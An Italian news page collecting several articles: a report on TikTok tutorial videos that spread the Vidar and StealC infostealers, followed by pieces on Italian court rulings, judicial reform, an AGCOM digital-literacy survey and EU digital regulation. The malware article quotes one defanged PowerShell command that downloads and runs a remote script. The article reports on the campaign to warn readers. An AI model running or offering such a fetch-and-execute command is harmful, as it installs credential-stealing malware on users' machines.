TikTok diventa terreno fertile per i malware: ecco come gli hacker aggirano i controlli e colpiscono gli utenti

Il volto virale e patinato di TikTok nasconde sempre più spesso una minaccia invisibile e insidiosa. Secondo un recente studio condotto da Trend Micro, la popolare piattaforma di video brevi è divenuta il nuovo canale privilegiato per i cybercriminali che diffondono malware tra ignari utenti attraverso video tutorial apparentemente innocui.

Un’evoluzione del cybercrime che sfrutta la rapidità di diffusione dei contenuti social e la fiducia degli utenti nei confronti di guide e consigli digitali. Il risultato? Centinaia di migliaia di visualizzazioni in pochi giorni e migliaia di dispositivi esposti a software malevoli progettati per sottrarre password, dati personali e credenziali bancarie.

Il nuovo volto degli attacchi digitali
I malware protagonisti di questa nuova ondata sono Vidar e StealC, due software particolarmente aggressivi capaci di infiltrarsi nei dispositivi, sottrarre dati sensibili e aggirare i sistemi di sicurezza. Gli hacker sfruttano video camuffati da tutorial o trucchi per ottenere versioni gratuite di software a pagamento — da Windows OS a Microsoft Office, fino a CapCut e Spotify.

Gli esperti di Trend Micro hanno individuato diversi account coinvolti in questa campagna malevola, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771, che attraverso video costruiti ad hoc raggiungono facilmente numeri impressionanti di visualizzazioni.

Come funziona l’inganno
Diversamente dalle classiche email di phishing o dai siti compromessi, questi attacchi sono ancora più subdoli perché non lasciano tracce evidenti sui server della piattaforma. I video vengono realizzati spesso con intelligenza artificiale, capaci di simulare perfetti tutorial in cui l’utente viene guidato a inserire stringhe di codice — come il comando PowerShell condiviso dall’account @gitallowed:

iex (irm hxxps://allaivo[.]me/spotify)

Un comando apparentemente innocuo, che in realtà avvia una catena di operazioni: dalla creazione di directory nascoste alla disattivazione di Windows Defender, fino all’installazione dei malware Vidar e StealC.

Le conseguenze: dal furto di dati al controllo totale del dispositivo
Gli effetti di questi attacchi possono essere devastanti. Oltre a sottrarre credenziali di accesso a servizi finanziari e dati personali, i malware riescono a mettere a segno veri e propri furti di identità e a compromettere anche le reti aziendali, creando varchi di sicurezza difficili da individuare e neutralizzare.

Il punto debole resta proprio la capacità di TikTok di rilevare tempestivamente questo tipo di minaccia, vista la rapidità con cui i contenuti si diffondono e la facilità con cui i cybercriminali possono aprire nuovi account.

Come difendersi da questa nuova minaccia
Gli esperti di sicurezza informatica lanciano l’allarme: siamo di fronte a una nuova era del cybercrime, in cui i social network diventano veicolo di attacchi sofisticati e difficilmente intercettabili.

Per tutelarsi, è indispensabile mantenere sempre aggiornati software e antivirus, affiancandoli a soluzioni di sicurezza avanzate capaci di rilevare anche le minacce meno convenzionali. Ma soprattutto è necessario adottare un approccio critico ai contenuti online: mai eseguire comandi o cliccare su link suggeriti in video tutorial se non si è assolutamente certi della loro provenienza.


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Detenzione domiciliare al padre se la madre non può sacrificare il lavoro

La Corte di cassazione penale torna a fare chiarezza su un delicato equilibrio tra esigenze familiari, diritto alla genitorialità e disciplina penitenziaria. Con la sentenza n. 24362/2025, i giudici di legittimità hanno accolto il ricorso di un padre detenuto cui il tribunale di sorveglianza aveva rigettato l’istanza di detenzione domiciliare speciale per accudire i propri figli minorenni, motivando il rigetto con la presenza di una madre non priva di occupazione.

Il caso
La vicenda riguarda una coppia con due bambini piccoli. Il padre, ristretto in carcere, aveva chiesto di poter espiare la pena ai domiciliari per prendersi cura dei figli, evidenziando che la madre — avvocato libero professionista — si trovava in forte difficoltà nel conciliare la cura dei minori con l’attività lavorativa, tanto da dover rinunciare a parte della clientela e rischiare di compromettere il proprio reddito.

Il tribunale di sorveglianza aveva però ritenuto inammissibile la richiesta, sostenendo che la madre dei minori fosse comunque presente e disponibile, escludendo quindi il presupposto normativo per l’accoglimento. Inoltre, il tribunale lamentava una documentazione insufficiente sul percorso rieducativo del detenuto.

Il rilievo della Cassazione
La Suprema Corte ha cassato la decisione, rimarcando come il giudice di sorveglianza avrebbe dovuto esercitare i propri poteri istruttori, acquisendo ulteriori elementi a integrazione della domanda, specie considerata l’esistenza di una relazione socio-familiare dell’Uepe che documentava chiaramente la situazione di criticità della madre e il progressivo impoverimento del nucleo familiare, come risultava anche dalla dichiarazione dei redditi.

Inoltre, per la Cassazione è errato ritenere che il solo fatto di essere una madre lavoratrice possa automaticamente escludere la concessione della misura alternativa al padre. È infatti necessario valutare in concreto se la madre sia effettivamente in grado di conciliare lavoro e cura dei figli senza pregiudizio grave né per i minori né per la propria autonomia lavorativa.

Il contraddittorio mancato
La decisione è stata annullata anche per la mancanza di contraddittorio, in quanto il rigetto è avvenuto de plano, senza convocare il difensore del detenuto e senza consentire di produrre ulteriore documentazione o chiarimenti. Un vizio che, secondo i giudici di legittimità, incide sulla validità del procedimento e sulla garanzia dei diritti della difesa.

Il precedente della Consulta
La difesa del ricorrente ha opportunamente richiamato anche una recente decisione della Corte costituzionale (aprile 2025) che ha dichiarato l’illegittimità parziale dell’articolo 47 quinquies dell’ordinamento penitenziario, laddove subordinava la concessione della detenzione domiciliare al padre detenuto solo all’assenza di altre figure parentali disponibili. Secondo la Consulta, in casi simili occorre verificare se la madre, pur presente, possa effettivamente occuparsi dei figli senza sacrificare eccessivamente la propria autonomia personale e professionale, tenendo conto della centralità del legame genitoriale anche paterno, già valorizzato da altri istituti giuridici in materia minorile.


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Procure, il CSM alleggerisce la circolare 2024. Scontro sul Massimario e nuova spinta sulla separazione delle carriere

Un Consiglio Superiore della Magistratura al lavoro su più fronti, tra revisione delle regole organizzative per le Procure, tensioni istituzionali e il dibattito ancora acceso sulla separazione delle carriere. È questo il quadro emerso dal Plenum di ieri, che ha approvato — a maggioranza e con otto astensioni — le modifiche alla circolare sull’organizzazione degli uffici di Procura, emanata il 3 luglio 2024 dopo l’entrata in vigore della riforma Cartabia.

Le novità per le Procure: semplificazione e più margini ai Procuratori
Su proposta della VII Commissione, il CSM ha snellito una serie di passaggi procedurali che avevano suscitato critiche e difficoltà applicative nei mesi successivi alla riforma. Tra le modifiche più rilevanti:

  • la reintroduzione dei provvedimenti attuativi, che consentono ai Procuratori di disporre assetti organizzativi interni coerenti col progetto approvato, senza più bisogno del via libera del CSM ma con una semplice presa d’atto;
  • la semplificazione delle modifiche al progetto organizzativo, che diventano immediatamente operative senza la preventiva consultazione di Presidente del Tribunale e Consiglio dell’Ordine degli Avvocati;
  • un iter più snello per le assegnazioni dei procedimenti in deroga, con possibilità di differire la comunicazione ai magistrati interessati per esigenze di segretezza investigativa.

Il pacchetto di modifiche è il risultato di nove mesi di analisi e confronto tra CSM e capi delle Procure, per bilanciare semplificazione procedurale, partecipazione interna e tutela dell’obbligatorietà dell’azione penale, senza compromettere la riservatezza delle indagini.

Scontro Nordio–Massimario: il CSM corre ai ripari
A tenere banco però è anche il caso politico-istituzionale esploso dopo le parole del ministro della Giustizia Carlo Nordio, che in un’intervista ha duramente criticato l’Ufficio del Massimario della Cassazione per la relazione tecnica con cui i giudici avevano segnalato criticità nel decreto sicurezza. Secondo Nordio, si sarebbe trattato di uno “sgarbo al Colle”, sostenendo che eventuali irregolarità sarebbero state rilevate dal Capo dello Stato al momento della promulgazione.

Parole che hanno scatenato la reazione dell’opposizione e anche del Consiglio Superiore della Magistratura. I consiglieri togati e i laici Roberto Romboli, Michele Papa ed Ernesto Carbone hanno infatti chiesto e ottenuto l’apertura di una pratica a tutela dei magistrati del Massimario, ritenendo che le reazioni politiche “abbiano travalicato i confini della dialettica istituzionale, restituendo all’opinione pubblica un’immagine distorta della funzione e del ruolo dell’Ufficio”.

Gasparri attacca: “Pareri strampalati”
A rincarare la dose è arrivato il commento di Maurizio Gasparri, presidente dei senatori di Forza Italia, che ha definito “eroici funzionari dello Stato” i magistrati del Massimario, salvo aggiungere che i pareri contestati sarebbero talmente infondati che “nessun magistrato avrebbe potuto scriverli nella vita”.

Separazione delle carriere: iter rallentato al Senato
Nel frattempo, a Palazzo Madama prosegue a rilento l’esame del disegno di legge costituzionale sulla separazione delle carriere tra giudici e pubblici ministeri. Approvato l’articolo 2 nei giorni scorsi, la conferenza dei capigruppo ha aggiornato la tabella di marcia: l’8 luglio si terrà una nuova riunione per decidere se imprimere un’accelerazione. Il voto finale potrebbe slittare alla settimana successiva, complice l’accumulo di decreti legge da convertire prima della pausa estiva.

Un clima istituzionale teso e delicato
Il clima rimane dunque particolarmente teso: da un lato un Consiglio Superiore impegnato a riorganizzare il funzionamento delle Procure nel quadro della riforma Cartabia, dall’altro le polemiche su provvedimenti governativi controversi e una riforma costituzionale divisiva che, pur approvata a tappe forzate dalla maggioranza, si avvia verso un probabile referendum confermativo dall’esito tutt’altro che scontato.


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Internet quotidiano per il 90% degli italiani, ma cresce l’allarme per odio e disinformazione online

Il 90% degli italiani accede quotidianamente a Internet, ma il panorama digitale che li accoglie è sempre più inquinato da contenuti d’odio, fake news e fenomeni pericolosi come il revenge porn e le sfide social estreme. È quanto emerge dal rapporto “I fabbisogni di alfabetizzazione mediatica e digitale nella popolazione italiana” pubblicato dall’Autorità per le Garanzie nelle Comunicazioni (AGCOM) e presentato alla stampa dal presidente Giacomo Lasorella, dal commissario Massimiliano Capitanio e dal direttore del Servizio Studi Mario Staderini.

Un ecosistema digitale ad alto rischio
Più della metà della popolazione ha già avuto modo di imbattersi in rete in contenuti d’odio, disinformazione e immagini intime diffuse senza consenso. A preoccupare è soprattutto la consapevolezza insufficiente dei cittadini: sebbene oltre otto italiani su dieci si dichiarino allarmati per questi fenomeni, ben il 44,1% non ha mai cercato aiuto o consigli su come difendersi o navigare in modo più consapevole.

A cercare sostegno, invece, sono soprattutto i minorenni: oltre la metà di loro si rivolge alla famiglia, un terzo agli insegnanti e il 30% ai coetanei.

Cosa fanno gli italiani online
Le abitudini digitali variano con l’età. Gli adulti e gli anziani usano principalmente la rete per informarsi, mentre i più giovani la frequentano per comunicare con amici e fruire di contenuti audiovisivi. Curioso il dato sui media durante i pasti: l’80% degli italiani guarda la TV mentre mangia, mentre tra i 6 e i 34 anni il 20% naviga sui social o guarda video online.

Il controllo dei genitori sui minori
Otto genitori su dieci regolano l’accesso dei figli ai media digitali, soprattutto con il monitoraggio diretto e la condivisione delle attività online. Più diffusi tra i genitori under 45 i limiti di tempo e il blocco di contenuti, mentre il 13% dei genitori vieta del tutto l’uso dei media e un 4,8% concede piena libertà. Solo il 12,5% delle famiglie però parla con i figli della propria esperienza di navigazione: un dato che segnala la necessità di rafforzare il dialogo in ambito domestico sul rapporto con il digitale.

Le sfide per i minori
Particolarmente esposti i più giovani: circa tre minorenni su quattro dichiarano di essersi imbattuti in contenuti pericolosi o inappropriati, che spaziano dalle sfide social estreme al cyberbullismo, passando per la pornografia non richiesta e l’incitamento all’uso di droghe o ai disturbi alimentari.

Cittadini più prudenti, ma alfabetizzazione scarsa
Oltre l’80% degli italiani adotta qualche forma di contrasto ai contenuti nocivi: più della metà evita di accedere alle piattaforme problematiche e circa un terzo verifica l’attendibilità delle fonti. Tuttavia, il grado di alfabetizzazione digitale rimane basso. Solo il 7% possiede un livello ottimale di conoscenza degli algoritmi di profilazione, mentre il 64,6% ha competenze scarse o nulle, percentuale che sale all’83% tra gli over 65.

La possibilità di personalizzare l’esperienza online è nota al 48% degli utenti, soprattutto tra i giovani adulti, mentre permane una forte disuguaglianza generazionale nella comprensione del funzionamento delle piattaforme.

AGCOM: “Siamo davanti a un inquinamento digitale”
Il commissario Capitanio ha definito la situazione come “un vero e proprio inquinamento digitale”, sottolineando l’urgenza di interventi strutturati di alfabetizzazione digitale per tutelare non solo i più giovani, ma l’intera cittadinanza.

“C’è bisogno — ha dichiarato Lasorella — di rafforzare i presidi educativi e di responsabilizzare tutti gli attori della filiera digitale, dalle scuole alle famiglie, fino alle stesse piattaforme, che devono garantire un ambiente online più sicuro e trasparente”.


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Separazione delle carriere, primo sì dal Senato: verso due magistrature distinte

Il Senato ha approvato l’articolo 2 del disegno di legge costituzionale che sancisce la separazione delle carriere tra magistrati giudicanti e requirenti, modificando così l’articolo 102 della Costituzione. Un passaggio cruciale nella riforma della giustizia voluta dall’attuale maggioranza, che ha visto respinte tutte le circa 1.300 proposte emendative presentate dalle opposizioni.

Il testo della modifica
Nel primo comma dell’articolo 102, accanto alla previsione per cui “La funzione giurisdizionale è esercitata da magistrati ordinari istituiti e regolati dalle norme sull’ordinamento giudiziario”, è stata introdotta la precisazione che “le quali disciplinano altresì le distinte carriere dei magistrati giudicanti e requirenti”. Una formula secca, ma destinata ad avere conseguenze rilevanti sull’assetto della magistratura.

Il cammino parlamentare e i prossimi passaggi
L’esame degli articoli successivi della riforma proseguirà nei prossimi giorni, a partire dagli articoli 3 e 4, che entreranno nel merito della concreta articolazione delle carriere separate e della costituzione di due distinti Consigli Superiori della Magistratura: uno per i giudici e uno per i pubblici ministeri.

Le reazioni dell’ANM: “Una ferita all’autonomia della magistratura”
Deciso e preoccupato il commento dell’Associazione Nazionale Magistrati. Il presidente Cesare Parodi, intervenuto a Catanzaro durante un incontro con i magistrati del distretto, ha sottolineato come l’approvazione al Senato rappresenti solo l’ennesima tappa di un percorso ormai segnato.

“Fin dall’inizio — ha dichiarato Parodi — è stato chiaro che non vi sarebbe stato alcuno spazio per modificare il progetto originario. Attendiamo ora l’esito del referendum che, a questo punto, diventa l’unico vero passaggio in cui i cittadini potranno pronunciarsi su una riforma che rischia di compromettere in maniera significativa l’autonomia e l’indipendenza della magistratura”.

Il presidente dell’ANM ha ribadito le critiche non solo sulla separazione delle carriere in sé, ma sull’intero impianto della riforma, definito come un sistema che finirà per limitare la capacità dei magistrati di esercitare il proprio ruolo di garanzia in modo libero da pressioni esterne e politiche.

“Non possiamo certo cambiare posizione oggi — ha concluso Parodi —. Continueremo a diffondere la nostra visione della giustizia e a difendere i valori costituzionali che garantiscono ai cittadini un giudice imparziale e un pubblico ministero indipendente”.

Proteste simboliche e mobilitazioni
Già a inizio anno l’ANM aveva inscenato diverse forme di protesta pubblica, tra cui flash mob con la Costituzione in mano davanti ai palazzi della giustizia, denunciando i rischi di isolamento istituzionale del pubblico ministero e l’indebolimento complessivo della funzione giurisdizionale.

Verso il referendum
Concluso il percorso parlamentare, la parola passerà ai cittadini. La riforma, essendo di natura costituzionale, sarà infatti sottoposta a referendum confermativo in assenza di una maggioranza qualificata in seconda lettura. Una consultazione che si annuncia ad alta partecipazione e dal forte valore politico e istituzionale.


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La Commissione chiede pareri sul riesame del regolamento sui mercati digitali

Il 3 luglio 2025 la Commissione ha avviato una consultazione pubblica sul primo riesame del regolamento sui mercati digitali.

La Commissione chiede riscontri ai cittadini, alle piccole e medie imprese, alle organizzazioni imprenditoriali e ad altre parti interessate dell’UE in merito all’impatto e all’efficacia del regolamento sui mercati digitali e alla sua adeguatezza rispetto alle sfide emergenti, come la diffusione di servizi basati sull’IA. Sulla base dei contributi ricevuti, la Commissione elaborerà una relazione di valutazione dell’impatto del regolamento sui mercati digitali, che sarà presentata al Parlamento europeo, al Consiglio e al Comitato economico e sociale europeo.

La Commissione è tenuta a effettuare un riesame del regolamento sui mercati digitali entro il 3 maggio 2026, e successivamente ogni tre anni. Le parti interessate hanno tempo fino al 24 settembre 2025 per presentare le loro osservazioni.


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AI generativa, stretta normativa dal 2025: nuovi obblighi per dati, trasparenza e sicurezza

L’intelligenza artificiale generativa ha ormai lasciato i laboratori di ricerca per diventare uno strumento centrale in molti settori, dalla creazione di contenuti digitali all’assistenza automatizzata, passando per applicazioni industriali e legali. Ma il suo utilizzo solleva interrogativi giuridici e rischi sociali che l’Unione Europea si prepara ad affrontare con la prima normativa organica al mondo in materia di AI: il Regolamento (UE) 2024/1689, noto come AI Act.

Approvato nel luglio 2024 ed entrato in vigore il 1° agosto dello stesso anno, l’AI Act segna un cambio di paradigma normativo, fissando un quadro vincolante di regole per lo sviluppo, l’uso e la commercializzazione di sistemi di intelligenza artificiale nel mercato europeo. E il 2025 sarà l’anno della svolta operativa, con i primi obblighi concreti per i fornitori di AI generativa.

Cosa prevede l’AI Act: classificazione e divieti

Il regolamento adotta un sistema di classificazione dei sistemi di AI per livello di rischio. I più pericolosi — quelli a “rischio inaccettabile” — come il social scoring e il riconoscimento facciale in tempo reale negli spazi pubblici, sono vietati dal febbraio 2025. I sistemi ad “alto rischio”, utilizzati in settori delicati come giustizia, istruzione o infrastrutture critiche, saranno invece sottoposti a requisiti rigorosi in materia di trasparenza, tracciabilità, auditabilità e supervisione umana, con piena applicazione a partire dal 2026.

Tra le misure più rilevanti c’è l’obbligo, dal 2 agosto 2025, per i fornitori di modelli di AI generativa di documentare e rendere disponibili informazioni dettagliate su:

  • Architettura del modello

  • Potenza computazionale utilizzata (in FLOPS)

  • Origine e tipologia dei dati di addestramento

  • Sistemi per prevenire la generazione di contenuti illegali

Un intervento normativo reso necessario dall’esplosione di piattaforme generative come Midjourney o Anthropic e dai contenziosi già in corso per violazioni di copyright e scraping non autorizzato di dati online.

Contenziosi aperti e nodi giuridici

La regolamentazione arriva infatti mentre la giurisprudenza internazionale è chiamata a tracciare i confini della liceità nell’uso dei dati e dei contenuti AI. Emblematico è il procedimento promosso da The Walt Disney Company e altri colossi dell’intrattenimento contro Midjourney, accusata di addestrare i propri algoritmi su materiali protetti da copyright.

Allo stesso modo, Reddit ha contestato ad Anthropic la raccolta massiva di post degli utenti senza autorizzazione, sollevando il tema della titolarità dei contenuti e del rispetto dei termini di servizio sulle piattaforme online.

Cause che contribuiscono a definire i limiti del cosiddetto fair use nell’era AI, un terreno giuridico ancora poco esplorato ma che il nuovo regolamento europeo punta a normare.

Gli obblighi per chi fornisce AI generativa

Il titolo IV del Regolamento e in particolare l’articolo 53 impongono ai fornitori di AI generativa di mantenere registri e documentazione tecnica per almeno dieci anni, garantendo piena trasparenza sull’origine dei dati e sulle performance dei modelli.

Inoltre, l’articolo 71 introduce un database pubblico europeo in cui saranno iscritti tutti i sistemi ad alto rischio prima della loro immissione sul mercato. Un registro accessibile alle autorità di controllo e ai consumatori, per aumentare la trasparenza e il controllo sociale sulle applicazioni AI più invasive.

Sanzioni e impatto per le imprese

Il mancato rispetto delle disposizioni potrà costare fino al 7% del fatturato mondiale annuo dell’operatore coinvolto, una soglia che rende evidente quanto il legislatore europeo punti a un’effettiva deterrenza.

Per questo, le imprese devono attrezzarsi da subito, mappando i propri sistemi AI, valutandone il livello di rischio e predisponendo le documentazioni richieste. Sarà inoltre necessario aggiornare contratti, policy aziendali e procedure di audit, con particolare attenzione al coordinamento tra AI Act e normative già vigenti come il GDPR, soprattutto in caso di trattamento di dati personali.

Un ruolo strategico per gli studi legali

In questo scenario, gli studi legali specializzati in tecnologia e diritto digitale avranno un compito cruciale: affiancare aziende e sviluppatori nel percorso di conformità, nella stesura di clausole contrattuali dedicate all’allocazione dei rischi e nella redazione delle valutazioni d’impatto, obbligatorie per i sistemi più critici.

Diventerà imprescindibile anche l’adozione di programmi di formazione aziendale sull’uso responsabile dell’intelligenza artificiale, già richiesti dal regolamento per chi impiega modelli generativi in contesti commerciali.


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Mandato di arresto europeo, la Cassazione: consegna rifiutabile se manca tutela sanitaria adeguata nel Paese richiedente

In tema di mandato di arresto europeo (MAE), il diritto alla salute e alla vita resta prevalente anche rispetto agli obblighi di cooperazione giudiziaria tra Stati membri. Lo ha ribadito la Corte di Cassazione con la sentenza n. 24100 del 2025, fissando un principio di diritto di rilievo per tutti i futuri casi analoghi: la consegna di un imputato o condannato può essere rifiutata se nel Paese richiedente non esistono misure alternative al carcere, come la detenzione domiciliare, per i soggetti affetti da gravi patologie, né strutture adeguate a garantirne le cure.

Il caso: grave depressione e rischio suicidario

La pronuncia trae origine dal caso di un cittadino condannato in via definitiva in Romania a sei anni e otto mesi di reclusione per corruzione. L’uomo, affetto da una grave forma di depressione con rischio suicidario accertato, era stato sottoposto in Italia a un regime di detenzione domiciliare con terapie psichiatriche intensive.

Alla richiesta di consegna avanzata dalle autorità romene, la Corte d’Appello, richiamando la sentenza della Corte di Giustizia UE (Grande Sezione, causa C-699/21, E.D.L.) e la decisione n. 177/2023 della Corte Costituzionale italiana, ha deciso di sospendere la consegna, dichiarandola definitivamente inattuabile. Motivo? L’ordinamento rumeno non prevede la possibilità di una detenzione domiciliare con cure psichiatriche equivalenti, mentre l’ingresso in carcere comporterebbe un rischio concreto e grave per la vita e la salute del condannato.

Il principio affermato dalla Cassazione

Nel respingere il ricorso proposto dal Procuratore generale presso la Corte d’Appello di Bari, la Suprema Corte ha affermato un principio di diritto:

“In tema di mandato di arresto europeo, qualora successivamente alla decisione che dispone la consegna emergano motivi seri e comprovati di ritenere che la consegna esponga la persona richiesta ad un rischio reale di riduzione significativa della sua aspettativa di vita o di un deterioramento rapido e irrimediabile del suo stato di salute, la Corte di Appello, quale giudice dell’esecuzione, può rifiutare la consegna con ordinanza ricorribile in Cassazione”.

Salvaguardare la persona oltre la cooperazione giudiziaria

Una posizione perfettamente in linea con i più recenti approdi della giurisprudenza europea, che impone agli Stati membri di assicurare che l’esecuzione di un MAE non determini trattamenti inumani o degradanti, come previsto dall’articolo 4 della Carta dei Diritti Fondamentali dell’Unione Europea.

La Corte ha chiarito che, diversamente dai casi di pericolo generico legato a condizioni strutturali carenti del sistema carcerario di uno Stato, questa decisione si basa sulla specifica situazione personale del soggetto richiesto in consegna e sulla concreta inadeguatezza del trattamento sanitario disponibile nel Paese richiedente.

Decisione motivata e fondata su criteri rigorosi

Nel confermare la legittimità del rifiuto alla consegna, la Cassazione ha evidenziato che la valutazione della Corte d’Appello non è stata arbitraria né apodittica, bensì fondata su dettagliate relazioni mediche e informazioni ufficiali ricevute dallo Stato estero.

È stato così accertato che in Romania non esiste una misura alternativa alla detenzione in carcere per malati psichiatrici gravi né è disponibile una terapia analoga a quella somministrata in Italia, circostanza che avrebbe esposto l’uomo a un rischio immediato di suicidio e a un rapido deterioramento delle condizioni di salute.


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Giustizia italiana, l’Europa bacchetta ancora: tempi lunghi, pochi giudici e spese record

L’Italia della giustizia non è più sinonimo assoluto di processi lumaca, ma resta saldamente ancorata ai problemi cronici di sempre: pochi giudici, troppi avvocati, spese processuali tra le più alte del continente e tempi infiniti per arrivare a una sentenza definitiva. È quanto emerge dalla relazione annuale della Commissione Europea sullo stato di funzionamento della giustizia negli Stati membri, un report impietoso che certifica progressi marginali e conferma i nodi strutturali mai risolti.

Tra le maglie dei tribunali italiani si continua a procedere a rilento, soprattutto quando si arriva ai livelli superiori di giudizio, proprio mentre l’attuazione delle riforme previste dal Piano Nazionale di Ripresa e Resilienza (PNRR) dovrebbe rappresentare un’occasione storica per cambiare passo. Ma i dati raccolti dalla Commissione, aggiornati al 2023, fotografano un Paese ancora troppo distante dagli standard europei.

Tempi più rapidi, ma il podio dei ritardi resta italiano

Una notizia positiva, seppur modesta, c’è: il tempo medio per chiudere un processo di primo grado è sceso sotto i 500 giorni, con un lieve miglioramento rispetto al monitoraggio precedente (circa 20 giorni in meno). L’Italia resta comunque ai vertici per lentezza, dietro solo a Grecia e Croazia.

Le note più dolenti, però, riguardano i procedimenti di secondo e terzo grado. Per una sentenza definitiva occorrono in media 1.000 giorni — quasi tre anni — dato che pone l’Italia al primo posto tra i 27 Paesi Ue. Nemmeno le sentenze d’appello se la cavano meglio: 700 giorni di media per il secondo grado di giudizio, un altro primato di cui il Paese farebbe volentieri a meno.

Un sistema squilibrato: troppi avvocati, pochi giudici

A incidere sui tempi dilatati della giustizia italiana è anche l’assetto strutturale del comparto. Con quasi 400 avvocati ogni 100mila abitanti, l’Italia è tra i Paesi con la più alta concentrazione di legali in Europa. All’opposto, il numero di giudici disponibili è tra i più bassi: appena 11 ogni 10mila abitanti, contro una media europea ben più alta.

Una sproporzione che non solo rallenta il sistema, ma lo ingolfa di contenziosi, spesso alimentati da un eccesso di accesso agli uffici giudiziari senza un adeguato numero di magistrati in grado di gestirli.

Costi fuori controllo: l’Italia prima per spese processuali

Se i tempi sono un problema, i costi non sono da meno. Il nostro Paese guida la classifica europea delle spese legali, che rappresentano in media il 52% del valore della causa. Un dato nettamente superiore al secondo classificato, la Finlandia, ferma al 39%.

Non solo: con una parcella media di circa 2.500 euro per un avvocato difensore, l’Italia è il terzo Paese più caro d’Europa dietro Paesi Bassi e Croazia. Un costo che pesa sui cittadini e sulle imprese e che, unito alla lentezza del sistema, rappresenta un grave ostacolo alla competitività e alla tutela effettiva dei diritti.


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Cassazione, il monito delle Camere Penali: “Assemblea Generale strumento improprio di pressione sul legislatore”

Una nuova e preoccupante deriva nell’equilibrio dei poteri dello Stato. È questa la posizione netta dell’Unione Nazionale delle Camere Penali Italiane, che ha diffuso un documento a seguito dell’Assemblea Generale della Corte Suprema di Cassazione, tenutasi lo scorso 19 giugno. L’occasione, convocata formalmente per “una riflessione condivisa sul ruolo della Corte di Cassazione quale garante dell’unità del diritto”, ha finito col trasformarsi — secondo l’associazione forense — in un’iniziativa che travalica i limiti normativi e costituzionali, sconfinando in un ambito di competenza esclusiva del potere legislativo.

Il nodo giuridico e istituzionale

A essere contestata è la modalità con cui la Suprema Corte ha utilizzato l’Assemblea Generale, strumento previsto dall’articolo 93 dell’Ordinamento giudiziario per deliberazioni di carattere interno e organizzativo-amministrativo, e non certo per formulare indirizzi sul ruolo interpretativo del giudice di legittimità o, peggio ancora, per rivolgere proposte e richieste al Governo, al Parlamento e al Consiglio Superiore della Magistratura.

Il documento delle Camere Penali richiama il principio costituzionale sancito dall’articolo 101, comma 2, che riserva alla legge la disciplina dell’attività giurisdizionale, e denuncia l’illegittimità di un’Assemblea che si attribuisce funzioni consultive non previste, né consentite.

Una “nuova frontiera” dell’ampliamento di potere

La Giunta dell’Unione Camere Penali sottolinea come il deliberato approvato dalla Cassazione arrivi persino a rivolgere raccomandazioni al Parlamento per “acquisire il punto di vista della Corte su riforme processuali e ordinamentali”, un’iniziativa non solo priva di fondamento normativo, ma lesiva delle prerogative istituzionali delle Camere e del Governo.

Particolarmente grave, prosegue il documento, è il richiamo contenuto nel deliberato a introdurre una nuova disciplina per l’accesso all’albo speciale per il patrocinio davanti alle giurisdizioni superiori, separando chi difende nei giudizi di merito da chi esercita nei giudizi di legittimità. Dietro la motivazione apparente — migliorare la qualità dei ricorsi — si cela, secondo i penalisti, l’obiettivo di ridurre fortemente il numero di avvocati legittimati a ricorrere in Cassazione, mutando di fatto la natura della Suprema Corte da giudice di terza istanza a organo di sola nomofilachia.

Le ricadute costituzionali

Una prospettiva che l’Unione definisce inaccettabile anche nel merito, in quanto contraria al settimo comma dell’articolo 111 della Costituzione, che garantisce il diritto di ricorrere in Cassazione come presidio della tutela giurisdizionale. Una garanzia che rischia di svuotarsi di significato se il filtro all’accesso viene innalzato oltre misura o demandato a criteri estranei alla funzione giurisdizionale.

Una preoccupante abitudine istituzionale

Non è la prima volta -secondo l’UNCP- che il Consiglio Superiore della Magistratura e ora anche la Cassazione utilizzano impropriamente forme di parere o sollecitazione a Parlamento e Governo in assenza di espresse richieste istituzionali. La Giunta delle Camere Penali denuncia così una prassi ormai consolidata, che altera il delicato equilibrio tra poteri e mette a rischio l’autonomia e l’indipendenza reciproca delle istituzioni.


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